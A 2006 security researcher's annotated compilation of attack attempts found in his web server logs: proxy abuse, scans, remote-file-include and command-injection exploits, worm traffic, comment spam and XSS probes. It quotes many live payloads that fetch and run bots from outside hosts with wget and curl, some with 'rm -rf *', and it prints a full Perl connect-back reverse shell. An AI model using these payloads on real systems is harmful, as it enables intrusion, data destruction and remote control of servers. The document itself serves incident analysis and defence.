Last Updated: Thursday, July 13 2006
Michael Ligh (michael.ligh@mnin.org)
While several documents in the past have contained access log entries as an indicator of attack or reconnaissance, I've never had one completely dedicated to this purpose. For the most part, this will present entries that occur in 2006, however I'm starting it a bit early to get it out. I'll append new stories as the year goes on. For related compilations, see (Attack Signatures and Internet Traffic Analysis), (Short Security Discussions), or (Assorted Incidentals 2005).
Romanian Phishing And Filter Twelve
Here are some attempts to exploit badly configured mod_proxy settings, with the intention of using the remote webserver to proxy IRC traffic. While this is not a new technique, it's the first time I've seen the source IP address use this method to connect back to itself (ie 66.193.174.41 is both the source IP and the target of the CONNECT and POST connection):
66.193.174.41 - - [05/Dec/2003:21:15:22 +0100] "CONNECT 66.193.174.41:6667 HTTP/1.0" 405 326 66.193.174.41 - - [05/Dec/2003:21:15:22 +0100] "POST http://66.193.174.41:6667/ HTTP/1.0" 200 3307
Judging by the HTTP 405 error code on the CONNECT, the first attempt probably failed. However, the POST attempt completed with an HTTP 200 status. While investigating the compromised server, we noticed it was continuously establishing or closing connections to remote servers over port 6667. The strange part was - a process listing showed no signs of an IRC server or client active on the machine. Surely it could have been hiding via rootkit technology, but the more credible answer in this case is that it's the Apache web server process responsible for making these connections.
Next there are a few POST attempts to the index page, which happened to just be a static HTML document. Given the standard seeming reply size (422 bytes), it's hard to tell what, if any, data was contained in the POST payload. However, the HTTP status code (413 - Request Entity Too Large) hints that there *was* data in the payload.
200.32.3.62 - - [07/Dec/2003:19:57:10 +0100] "POST / HTTP/1.1" 413 422 211.147.1.82 - - [09/Mar/2004:04:51:54 +0100] "POST / HTTP/1.1" 413 422 202.96.108.5 - - [21/Dec/2004:02:00:00 +0100] "POST / HTTP/1.1" 413 422
Out of the three unique sources, none of them sent other requests to the server (unless they returned from a different address. This may have been an attempt to see if the server supported POST methods or to find out if it implemented size restrictions for the data being POST-ed. The prior theory is slighly less likely, since you shouldn't need to POST a huge amount of data to just test the POST functionality (a 1-byte payload would work fine) and also because most modern servers *do* support POST by default.
There were 58 requests using the CONNECT method of locating open proxies, paired with the destination of 1.3.3.7 port 1337. Everyone knows the 1337 string so this is quite the conspicuous entry.
200.32.3.17 - - [15/Dec/2004:20:51:04 +0100] "CONNECT 1.3.3.7:1337 HTTP/1.0" 405 320
There also are mulitple attempts to get more information on what the server supports by using the OPTIONS method in conjuction with the asterisk as a URI:
80.145.23.191 - - [09/Dec/2003:10:12:45 +0100] "OPTIONS * HTTP/1.0" 200 - 82.82.105.208 - - [03/Mar/2004:13:33:34 +0100] "OPTIONS * HTTP/1.0" 200 -
According to the RFC 2616 for HTTP 1.1, [1], If the Request-URI is an asterisk ("*"), the OPTIONS request is intended to apply to the server in general rather than to a specific resource. Since a server's communication options typically depend on the resource, the "*" request is only useful as a "ping" or "no-op" type of method; it does nothing beyond allowing the client to test the capabilities of the server. For example, this can be used to test a proxy for HTTP/1.1 compliance (or lack thereof).
There were a few interesting hits using the methods described earlier for checking proxy capabilities, but that specified internal or local addresses as the target:
216.200.169.14 - - [09/Dec/2003:13:49:46 +0100] "CONNECT 127.0.0.1:6667 HTTP/1.0" 405 322 217.70.150.128 - - [31/Jan/2004:22:19:02 +0100] "CONNECT 10.0.100.20:6667 HTTP/1.0" 405 324 217.70.150.128 - - [31/Jan/2004:22:19:02 +0100] "POST http://10.0.100.20:6667/ HTTP/1.0" 200 3481
To further continue the ever lasting quest for open proxies, there are also a number of hits to proxy checker scripts around the globe.
195.146.238.84 - - [11/Mar/2004:07:53:26 +0100] "GET http://dc.tickerbar.net/tld/pxy.m?nc=31671878 HTTP/1.0" 404 299 218.150.163.30 - - [23/Aug/2004:22:56:24 +0200] "GET http://umsky.com/sproxy.php HTTP/1.0" 404 293 83.237.168.23 - - [04/Feb/2005:03:37:21 +0100] "GET http://www.helllabs.com.ua/cgi-bin/textenv.pl?80 HTTP/1.0" 404 311 61.184.107.2 - - [24/May/2005:19:44:12 +0200] "GET http://www.pe4ati.net/cgi-bin/proxyjudge/prxjdg.cgi HTTP/1.1" 404 317 219.139.229.205 - - [04/Jun/2005:12:43:43 +0200] "GET http://202.105.21.103/cgi-bin/proxycheck.pl HTTP/1.0" 404 309 61.33.255.11 - - [05/Jun/2005:20:12:06 +0200] "GET http://www.100money.com/cgi-bin/ip.cgi HTTP/1.1" 404 304
Here is an example extract of the information returned by these scripts:
HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 HTTP_VIA=1.1 fire.mnin.org:3128 (squid/2.5.STABLE5) HTTP_X_FORWARDED_FOR=unknown PATH=/bin:/usr/bin:/usr/local/bin QUERY_STRING=80 REMOTE_ADDR=24.2.153.164 REMOTE_PORT=51639 REQUEST_METHOD=GET
The attackers in this case are checking the proxy functionality of the target server and at the same time, getting a reading of their accuracy from special scripts. This will verify (or thicken) their anonymity, especially when tunneled through more than one proxy.
There was of course a nice variety of double encoding and directory traversal exploit attempts; and plenty of scans for xmlrpc.php, phpbb2, phpmyadmin, and awstats. For more detail on these particular patterns, refer to (Attack Signatures and Internet Traffic Analysis).
One of the more interesting entries is a one which fails to even specify an HTTP method (ie GET, POST, etc). The pattern is consistent with Code Red attempts, however the GET for default.ida is missing. This could be some strange logging error by Apache or simply a custom request written by a poor author. The manual request editor that comes with the Paros Proxy tool won't even continue without an HTTP method - it errors due to a malformed header.
213.60.85.196 - - [04/May/2004:09:06:28 +0200] "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX \ XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX \ X%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3% \ u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 400 315
The next entry is using the WebDAV PROPFIND HTTP method, [2] to get information on the ADMIN$ share. The %24 in unicode is the dollar ($) sign.
217.136.188.160 - - [04/Apr/2005:13:44:05 +0200] "PROPFIND /admin%24 HTTP/1.1" 405 321
Last but not least, there is an interesting entry which generates PNG captcha images.
219.156.82.187 - - [09/Jun/2005:09:08:32 +0200] "GET http://verify.qq.com/getimage?0.8821770718181844 HTTP/1.1" 404 295
Visiting the getimage file (even without the parameters), writes a 49x20 pixel, 4 character PNG image. Clicking refresh generates a new one with different characters. Captchas definitely have a use, but I can't fathom it's purpose in this proxy request. It's apparently a widely used request, because a Google search turns up countless other proxy logs with the same entry. It's very popular and at the moment, I have no good theories.
Here are some scans looking for the Comersus BackOffice Lite. Securiteam released an advisory on multiple vulnerabilities, [3], which describe what likely would have come next, had any of these queries been successful:
"GET /cart/backoffice+/comersus_backoffice_menu.asp HTTP/1.1" "GET /backoffice+/comersus_backoffice_menu.asp HTTP/1.1" "GET /comersus/backoffice+/comersus_backoffice_menu.asp HTTP/1.1" "GET /BackOfficeGold/comersus_backoffice_menu.asp HTTP/1.1" "GET /Comersus/BackOfficeGold/comersus_backoffice_menu.asp HTTP/1.1" "GET /cart/BackOfficeGold/comersus_backoffice_menu.asp HTTP/1.1" "GET /shop/BackOfficeGold/comersus_backoffice_menu.asp HTTP/1.1" "GET /Comersus/backofficeLite/comersus_backoffice_menu.asp HTTP/1.1" "GET /cart/backofficeLite/comersus_backoffice_menu.asp HTTP/1.1" "GET /backofficeLite/comersus_backoffice_menu.asp HTTP/1.1" "GET /shop/backofficeLite/comersus_backoffice_menu.asp HTTP/1.1" "GET /cart/backofficeplus/comersus_backoffice_menu.asp HTTP/1.1" "GET /backofficeplus/comersus_backoffice_menu.asp HTTP/1.1" "GET /comersus/backofficeplus/comersus_backoffice_menu.asp HTTP/1.1" "GET /shop/backoffice+/comersus_backoffice_menu.asp HTTP/1.1" "GET /shop/backofficeplus/comersus_backoffice_menu.asp HTTP/1.1"
This is trying to exploit an Awstats installation. Nothing new here except for the fact that this one is a bit more conspicuous with the filename (a.pl). Usually this is a perl IRC bot, but in most cases it either has a .txt extension or no extension (like the second entry):
"GET /stats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20 \ http://www.geocities.com/m111w19/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo| HTTP/1.1" "GET /cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20 \ perl;wget%20www.tracknr-dhl-usa.com/sess_3539283e27d73cae29fe2b80f9 \ 293f60;perl%20sess_3539283e27d73cae29fe2b80f9293f60;echo%20;echo| HTTP/1.1"
Then there are the requests that just go all out and download a compressed archive (the more bots, the more fun). This one would be exploited a vulnerability in ZeroBoard, [4].
"GET /board/skin/zero_vote/error.php?dir=http://tracknr-dhl-usa.com/fbi.gif?&cmd \ =cd%20/tmp;curl%20-O%20http://tracknr-dhl-usa.com/bot.tgz;tar%20xzvf%20bot.tgz;cd%20bot;./start HTTP/1.1"
Like all other open source web applications, phpmyadmin has more than it's share of vulnerabilities. Here are some locations where you probably do *not* want to store your installation:
"GET /phpmyadmin/main.php HTTP/1.0" 404 298 "-" "-" "GET /PMA/main.php HTTP/1.0" 404 291 "-" "-" "GET /mysql/main.php HTTP/1.0" 404 293 "-" "-" "GET /admin/main.php HTTP/1.0" 404 293 "-" "-" "GET /db/main.php HTTP/1.0" 404 290 "-" "-" "GET /dbadmin/main.php HTTP/1.0" 404 295 "-" "-" "GET /web/phpMyAdmin/main.php HTTP/1.0" 404 302 "-" "-" "GET /admin/pma/main.php HTTP/1.0" 404 297 "-" "-" "GET /admin/phpmyadmin/main.php HTTP/1.0" 404 304 "-" "-" "GET /admin/mysql/main.php HTTP/1.0" 404 299 "-" "-" "GET /phpmyadmin2/main.php HTTP/1.0" 404 299 "-" "-" "GET /mysqladmin/main.php HTTP/1.0" 404 298 "-" "-" "GET /mysql-admin/main.php HTTP/1.0" 404 299 "-" "-" "GET /main.php HTTP/1.0" 404 287 "-" "-" "GET /phpMyAdmin-2.5.6/main.php HTTP/1.0" 404 304 "-" "-" "GET /phpMyAdmin-2.5.4/main.php HTTP/1.0" 404 304 "-" "-" "GET /phpMyAdmin-2.5.1/main.php HTTP/1.0" 404 304 "-" "-" "GET /phpMyAdmin-2.2.3/main.php HTTP/1.0" 404 304 "-" "-" "GET /phpMyAdmin-2.2.6/main.php HTTP/1.0" 404 304 "-" "-" "GET /myadmin/main.php HTTP/1.0" 404 295 "-" "-" "GET /phpMyAdmin-2.6.0/main.php HTTP/1.0" 404 304 "-" "-" "GET /phpMyAdmin-2.6.0-pl1/main.php HTTP/1.0" 404 308 "-" "-" "GET /phpMyAdmin-2.6.3-pl1/main.php HTTP/1.0" 404 308 "-" "-" "GET /phpMyAdmin-2.6.3/main.php HTTP/1.0" 404 304 "-" "-" "GET /phpMyAdmin-2.6.3-rc1/main.php HTTP/1.0" 404 308 "-" "-" "GET /phpMyAdmin-2.6.2-rc1/main.php HTTP/1.0" 404 308 "-" "-"
Here are several similar hits, looking to exploit weaknesses in phpopenchat and "tell a friend", [5] software, ZeroBoard, and Awstats:
"GET //phpopenchat/contrib/yabbse/poc.php?sourcedir=http://220.90.217.49/fbi.gif?&cmd \ =cd%20/tmp;curl%20-O%20220.90.217.49/sess_3539283e27d73cae29fe2b8 \ 0f9293f33;perl%20sess_3539283e27d73cae29fe2b80f9293f33 HTTP/1.1" "GET /tellafriend/inc/tell_a_friend.inc.php?script_root=http://geocities.com/zamelmania/fbi.gif?&cmd \ =cd%20/tmp;curl%20-O%20220.90.217.49/sess_3539283e \ 27d73cae29fe2b80f9293f33;perl%20sess_3539283e27d73cae29fe2b80f9293f33 HTTP/1.1" "GET /bbs/skin/zero_vote/error.php?sourcedir=http://220.90.217.49/fbi.gif?&cmd=cd%20/tmp;curl%20-O \ %20220.90.217.49/sess_3539283e27d73cae29fe2b80f9293f3;perl%20sess_3539283e27d73cae29fe2b80f9293f33 HTTP/1.1" "GET /awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20 \ 220.90.217.49/sess_3539283e27d73cae29fe2b80f9293f33;perl \ %20sess_3539283e27d73cae29fe2b80f9293f33;echo%20;echo| HTTP/1.1"
Here is an attempt to exploit WebCalendar, which, of course, has tons of vulnerabilities (isn't this fun?). This attempt is interesting because it combines wget, curl, and fetch all into one hit, wheras normally you'll see them split into three seperate queries.
"GET /WebCalendar/tools/send_reminders.php?includedir=http://82.165.228.69/images/fbi.gif?&cmd= \ cd%20/tmp;wget%20http://82.165.32.233/images/sess_3539283e27d73cae29fe2b80f9293f60;curl%20-O%20 http://82.165.32.233/images/sess_3539283e27d73cae29fe2b80f9293f60;fetch%20http://82.165.32.233/ \ images/sess_3539283e27d73cae29fe2b80f9293f60;perl%20sess_3539 \ 283e27d73cae29fe2b80f9293f60;rm%20-rf%20sess* HTTP/1.1"
Here are some traces of lupii/lupper, [6] which is known to attack xmlrpc.php regularly. This gives it the upper hand in attacks against web applications such as PostNuke, Drupal, b2evolution, Xoops, WordPress, PHPGroupWare and TikiWiki:
"GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e \ 193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo| HTTP/1.1" "GET /scgi/includer.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS\"$IFS\"`62.101.193.244/lupii; \ chmod$IFS+x$IFS`echo$IFS\"$IFS\"`lupii;./lupii`echo$IFS\"$IFS\"`62.101.193.244| HTTP/1.1" "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2f \ listen%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1"
This is a targeted attack against unpatched Mambo installations, [7]. In another story, we'll present an instance where this exploit was successful in getting an IRC bot onto a server that we have access to:
"GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS= \ &mosConfig_absolute_path=http://195.120.109.25/cmd.gif?&cmd=cd%20/tmp;wget%20217.160.255.44/cback; \ chmod%20744%20cback;./cback%20194.112.220.37%208080;echo%20YYY;echo| HTTP/1.1"
An article in (2005 Incidentals) discussed a scripter by the name of sirh0t, who likes to spend time defacing web sites with previously published exploits. Just when you thought people couldn't get any dumber, surprises like this pop up. Apparently sirh0t has his own wanabe crew. These people copy the copy cats. The following entries were found in web access logs:
[04/Dec/2005:17:30:59 +0000] "GET /forums/viewtopic.php?t=86&highlight= \ %2527.$poster=include($_GET[m]).%2527&m=http://smellthecoffee.com/images/phpbb_private?& HTTP/1.0" \ 200 110821 "http://www.google.nl/" "Mozilla/4.0 (modded by sirh0t and Aleks)" [04/Dec/2005:17:38:25 +0000] "GET /forums/viewtopic.php?t=86&highlight=%2527. \ $poster=include($_GET[m]).%2527&m=http://billing.veloxinternet.com/inc/phpbb_private?& HTTP/1.0" 200 \ 110821 "http://www.google.nl/" "Mozilla/4.0 (modded by sirh0t and Aleks)" [10/Dec/2005:08:43:42 -0500] "GET /forums/viewtopic.php?t=63&highlight=%2527.$poster=include \ ($_GET[m]).%2527&m=http://www.yatas.com/phpbb_private.txt?& HTTP/1.0" 200 35515 "http://www.google.nl/" \ "Mozilla/4.0 (modded by sirh0t fuck Aleks)" [10/Dec/2005:08:44:42 -0500] "GET /forums/viewtopic.php?t=63&highlight=%2527.$poster=include \ ($_GET[m]).%2527&m=http://www.yatas.com/phpbb_private.txt?& HTTP/1.0" 200 35515 "http://www.google.nl/" \ "Mozilla/4.0 (modded by sirh0t fuck Aleks)"
The phpbb_private.txt file defaces index.php (if it exists) with the following message:
DEFACED BY UNLOCK
FUCK YOU 0X1FE AND ALL YOU PEOPLE IN UR CHANNEL ;-) FUCK BOTS, FUCK BOXTALK HOPE ALL U LAMERS GET BUSTED
I OWN YOU ALL!!!
Credits to sirh0t and phpbb
A perl IRC bot code follows this function and connects to 66.55.70.74:5555 by default. It logs in with a nickname defined by the output of whoami and joins channel #defaced. The script masquerades as being mIRC version 6.16. In addition, it enables the following functionality:
A comment in the script exclaims "GOOGLE BLOCKED MOSTLY STRINGS SO I MADE IT DYNAMIC." What this really means is that random integers are chosen for inclusion in the search criteria (\$str\.\$rnd), the total number of results to return (&num=$n), and the offset where to start showing results (&start=$s). Google could still block according to the primary keywords in the request. Here is the query-building function:
sub fetch2(){
my \$rnd=(int(rand(9999)));
my \$n= 50;
my \$str=\$_[0];
if (\$rnd<5000) { \$n<<=1;}
my \$s= (int(rand(10)) * \$n);
my \$query=\"www.google.com.ar/search?q=\";
\$query.=\$str.\$rnd;
\$query.=\"&num=\$n&hl=nl&start=\$s&sa=N\";
...
}
The perl bot is written to /tmp/fuck_0X1FE and then three methods of executing it are attempted, including passthrough(), shell_exec(), and system(). The Internet Storm Center published some information on this bot in their (November 10 Diary).
The "mass" part of this section is only an assumption. From the following log entries, it looks like someone wrote a script using Perl's libwww module that focuses on registering the user on PHPBB forums. This could be in preparation for a post with XSS content or other malicious code that would harm other users who view the posting. Since many forums require registration before posts are accepted, this script would help the attacker obtain authorization on a number of forums without having to go through the process manually.
The first hit in the series is just a GET to /forums/profile.php. This is the page within PHPBB installations where new users enter registration information. You can see there was an HTTP 200 status returned, which means success, however that is only partly true. There is no /forums/profile.php file on my site (there was about 2 years ago), so the attacker didn't actually hit what he intended to hit (he just got a catch-all index page):
69.54.37.20 - - [02/Mar/2006:10:03:40 -0500] "GET /forums/profile.php?mode=register&agreed=true HTTP/1.1" 200 16570
After getting that HTTP 200, the attacker's script assumed that it had located a valid PHPBB install, and moved forward with attempting to register a new user:
69.54.37.20 - - [02/Mar/2006:10:03:41 -0500] "POST /forums/profile.php HTTP/1.1" 200 16570
I had mod_security logging POST payloads, so it was able to capture the data that this script tried to use for the account. Here are some of the interesting fields:
POST /forums/profile.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Accept: text/xml,application/xml,application/xhtml+xml,text/html, text/xml,application/xml,application/xhtml+xml,text/html Accept-Language: en-us,en;q=0.5, en-us,en;q=0.5 Host: www.mnin.org Referer: http://www.mnin.org/forums/profile.php?mode=register&agreed=true User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Content-Length: 2150 Content-Type: multipart/form-data; boundary=xYzZY Content-Disposition: form-data; name="username" excitingravinder --xYzZY Content-Disposition: form-data; name="email" excitingravinder@jdknet.net --xYzZY Content-Disposition: form-data; name="new_password" excitingdong --xYzZY Content-Disposition: form-data; name="website" http://www.credobase.com/ --xYzZY
Its comforting to know that excitingravinder from credobase.com didn't actually obtain an account on anything. The final web request from the source address checked to see if the registration completed. It simply called the memberlist.php page with descending order. This failed too, because unlike the GET and POST to member.php, the user didn't forge the User Agent of this last request...and I'm not sure but mod_security might reject requests from libwww-perl ;->
69.54.37.20 - - [02/Mar/2006:10:03:42 -0500] "GET /forums/memberlist.php?order=DESC&mode=joined HTTP/1.1" 500 1041 "-" "libwww-perl/5.803"
Peace out excitingravinder, better luck with future endeavors.
These are clear attempts to send spam through the contact.php page on my site. Its a good approach if sending spam via normal methods fail, because poorly written contage pages are just as abundant as poorly configured MTAs. Furthermore, if an MTA was actually configured securely to only accept relay requests from trusted networks (one of which is localhost), contact page spam still might have a chance of success (because it will essentially originate from localhost).
So, imagine you are a spammer and want to try sending email through my contact form. What would you send? If you need some examples, a few are included in this section. As the POST payload, one spammer submitted the following data:
email=to%0D%0AContent-Type%3A+multipart%2Fmixed%3B+boundary%3D3f4c8cd67a53dda21a711afec0611ee1%0A MIME-Version%3A+1.0%0ASubject%3A+a+poet.+ost+thou+call+it+good+fortune%2C+answered%0Abcc%3A+charieses329%40 aol.com%0A%0AThis+is+a+multi-part+message+in+MIME+format.%0A%0A--3f4c8cd67a53dda21a711afec0611ee1%0AConten t-Type%3A+text%2Fplain%3B+charset%3D%22us-ascii%22%0AMIME-Version%3A+1.0%0AContent-Transfer-Encoding%3A+ 7bit%0A%0Ashoe+soles+drop+anish+opular+ong.+n+the+following%0A--3f4c8cd67a53dda21a711afec0611ee1-- %0A%0D%0A.%0D%0A
Let me decode that for you:
email=to Content-Type: multipart/mixed;boundary=3f4c8cd67a53dda21a711afec0611ee1 MIME-Version: 1.0 Subject: a poet ost thou call it good fortune, answered bcc: charieses329@aol.com This is a multi-part message in MIME format. --3f4c8cd67a53dda21a711afec0611ee1 Content-Type: text/plain;charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: +7bit shoe soles drop anish opular ong n the following --3f4c8cd67a53dda21a711afec0611ee1
The spammer here is hoping that the contact form will inject the message as-is directly into the mail server's delivery queue. By "as-is" I mean without filtering the "bcc" field or other email headers. Note the "email=" part, which is the name of my text field where users should input their return email address. The spammer must have viewed the source of my page in order to learn that. However, he would quickly find that in order to submit a message, the other fields cannot be blank. Therefore, he would try again with slightly altered input:
text=the1180%40spree.mnin.org&email=the1180%40spree.mnin.org&Submit=in[...]
In this attempt, the attacker fills the "text" field and resubmits. When this also failed, he would alter a few of the parameters and try again:
text=those6525%40spree.mnin.org&name=those6525%40spree.mnin.org&Submit=those6525%40spree.mnin.org&email=soldiers[...]
I'm not sure why he would assign an email address to the "Submit" field and use the word "soldiers" as the return email address. The spammer attempted one last combination before packing up and hitting the road (to bigger and better things I'm sure).
text=stood8261%40spree.mnin.org&email=stood8261%40spree.mnin.org&Submit=stood8261%40spree.mnin.org&name=him[...]
In any case, the spammer who calls himself "him" clearly did not read the PHP email injection article.
This is an incident where we get to see a true script kiddie in action. The attacker is trying to exploit a machine, however he can't figure out the proper syntax for a simple Linux command. These people are hilarious.
A common connect-back shell was the payload of this attempt. In particular, here is a sample of the perl code from http://81.58.26.26/libsh/ping.txt (probably will be removed by the time this article is read).
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i");
There is also an ELF version at http://81.58.26.26/libsh/ping that accepts the same parameters (connect back IP and port).
My favorite part is the URL constructed to make a server fetch and execute this code. These were extracted from web access logs of the targeted system.# first try wget http://81.58.26.26/libsh/ping.txt;mv ping.txt temp2006;perl temp2006 194.29.226.37 3303 # second try wget http://81.58.26.26/libsh/ping;chmod x ping;./ping 194.29.226.37 3303 # third try curl -o ping http://81.58.26.26/libsh/ping;chmod x ping;./ping 194.29.226.37 3303
The first try failed because ping.txt (renamed to temp2006) wasn't executable. The attacker realized this and tried to make it executable in the next try, except part of the chmod command was left out. S/he must have then thought it all failed thus far due to an error with wget, so s/he tried curl instead...but that failed too because wget wasn't the problem.
The web server's error log follows.
--00:10:06-- http://81.58.26.26/libsh/ping.txt
=> `ping.txt'
Connecting to 81.58.26.26:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 358 [text/plain]
ping.txt: Permission denied
Cannot write to `ping.txt' (Permission denied).
mv: cannot stat `ping.txt': No such file or directory
Can't open perl script "temp2006": No such file or directory
--00:10:07-- http://81.58.26.26/libsh/ping
=> `ping'
Connecting to 81.58.26.26:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15,808 (15K) [text/plain]
ping: Permission denied
Cannot write to `ping' (Permission denied).
chmod: invalid mode string: `x'
sh: line 1: ./ping: No such file or directory
% Total % Received % Xferd Average Speed Time Curr.
Dload Upload Total Current Left Speed
7 15808 7 1169 0 0 1031 0 0:00:15 0:00:01 0:00:14 1031
curl: (23) Failed writing body
chmod: invalid mode string: `x'
sh: line 1: ./ping: No such file or directory
% Total % Received % Xferd Average Speed Time Curr.
Dload Upload Total Current Left Speed
100 358 100 358 0 0 437 0 0:00:00 0:00:00 0:00:00 0
Perhaps next time around the attacker(s) will spend a few moments looking up how to issue commands before actually trying to execute them. Its humorous to note that the people trying to break into systems don't even necessarily know what to do if they get in.
Its been a while since I looked through web logs. The first record shows someone attempting to exploit XSS by sending the code in the User-Agent HTTP header and USER_AGENT PHP variable. Tags have been converted to square brackets for presentation.
06/25-16:40:16.261303 84.98.90.246:4173 -> 10.x.x.x:80 TCP TTL:51 TOS:0x0 ID:26872 IpLen:20 DgmLen:879 DF ***AP*** Seq: 0x8FC4DBF Ack: 0x2FA3F70C Win: 0x8700 TcpLen: 20 GET /write/2006_phish_2.pdf HTTP/1.1 Host: mnin.org User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5, [!--; ' ' " " '' ""// -- ## */ /*(* ( #[ #! ') + [script] # Accept-Language: en-us,en;q=0.5 Accept-Encoding:gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer:http://www.google.fr/search?q= REMOTE_ADDR: 64.233.187.100 REMOTE_ADDRESS: 64.233.187.100 REMOTE_HOST: google.com USER_AGENT: [!-- ; ' ' "" '' "" // -- ## */ /* (* ( #[#! ') + --] [script]alert(1)[/script] # VIA:64.233.187.100 CLIENT_IP: 64.233.187.99 X_FORWARDED_FOR: 64.233.187.99 Pragma: no-cache Cache-Control: no-cache....
This next one is strange, because it contains the From: header for an email. This isn't strange per se if the request is attempt to spam through the server, however no other headers indicate spam attempts and the message body is empty.
Request: mnin.org 64.124.14.124 - - [24/Jun/2006:19:54:17 --0400] "GET /data/incidentals/rbot_dumped_strings HTTP/1.1" 500 1037 "-" "Mozilla/5.0 (compatible; Konqueror/3.1; Linux; en)" - "-" Handler: type-map ---------------------------------------- GET /data/incidentals/rbot_dumped_strings HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close From: john@34485.com Host: mnin.org User-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; Linux; en) Content-Length: 0 Content-Type: application/x-www-form-urlencoded
This next log shows someone using the Snoopy v.1.2.3 tool to inject just about every cookie it can think of. I suppose its just trying to trick the server into doing something that it shouldn't. In total, there are cookies for about 200 different products sent to the server in this request. Please see the external data file for the sample.
[1]. http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.2
[2]. http://msdn2.microsoft.com/en-us/library/aa125901.aspx
[3]. http://www.securiteam.com/windowsntfocus/5TP0Q0UEKI.html
[4]. http://xforce.iss.net/xforce/xfdb/18893
[5]. http://www.securitytracker.com/alerts/2005/Mar/1013390.html
[6]. http://isc.sans.org/diary.html?storyid=823
[7]. http://www.frsirt.com/exploits/20051122.mambo452_xpl.php.php
[8]. http://isc.sans.org/diary.html?storyid=834